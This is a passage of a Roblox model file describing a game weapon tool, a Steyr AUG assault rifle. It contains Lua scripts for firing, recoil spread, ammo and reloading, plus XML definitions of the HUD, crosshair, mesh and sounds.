&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end&#9;
&#9;&#9;Handle.Flash.Enabled = false&#9;
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX3917">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX3918">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3919">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3920">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3921">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
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							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
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							<float name="TextTransparency">0</float>
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3922">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
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						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX3923">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<Color3 name="BorderColor3">4278190080</Color3>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
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								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
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								<YO>14</YO>
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					</Item>
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						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<Color3 name="BorderColor3">4278190080</Color3>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
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								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
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							<UDim2 name="Size">
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								<XO>14</XO>
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								<YO>2</YO>
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					</Item>
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						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<Color3 name="BorderColor3">4278190080</Color3>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
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								<YO>-1</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
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								<YO>2</YO>
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX3926">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
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							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3927">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
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							<Color3 name="TextStrokeColor3">4278190080</Color3>
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							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
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							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3928">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3929">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3930">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX3931">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>-0.400000006</Y>
					<Z>0.200000003</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">AUG</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079912</url></Content>
				<string name="ToolTip">Steyr AUG</string>
			</Properties>
			<Item class="Part" referent="RBX3932">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-20.2000008</X>
						<Y>-68.5999985</Y>
						<Z>12.9000006</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>3.5999999</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX3933">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=3824738</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.33000004</X>
							<Y>1.33000004</Y>
							<Z>1.33000004</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3934">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209859 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3935">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2691591</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3936">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX3937">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3938">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX3939">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">AUG</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 24
-- How many times per second the gun can fire
local FireRate = 1 / 10
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.01
-- In radian the maximum accuracy penalty
local MaxSpread = 0.06
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.01
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
